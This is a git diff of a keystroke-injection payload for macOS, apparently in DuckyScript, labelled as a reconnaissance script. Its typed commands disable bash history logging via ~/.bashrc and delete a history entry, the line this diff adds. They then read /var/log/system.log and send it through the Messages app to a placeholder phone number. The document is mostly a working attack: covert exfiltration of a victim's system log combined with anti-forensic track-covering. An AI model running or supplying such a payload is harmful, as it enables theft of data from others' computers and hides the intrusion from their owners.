diff --git a/RECON/ macOS System Log to iPhone.txt b/RECON/ macOS System Log to iPhone.txt index 61f8217..70d587f 100644 --- a/RECON/ macOS System Log to iPhone.txt +++ b/RECON/ macOS System Log to iPhone.txt @@ -19,6 +19,7 @@ DELAY 1000 ENTER DELAY 500 STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') ENTER DELAY 500 STRING x=$(cat /var/log/system.log); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"'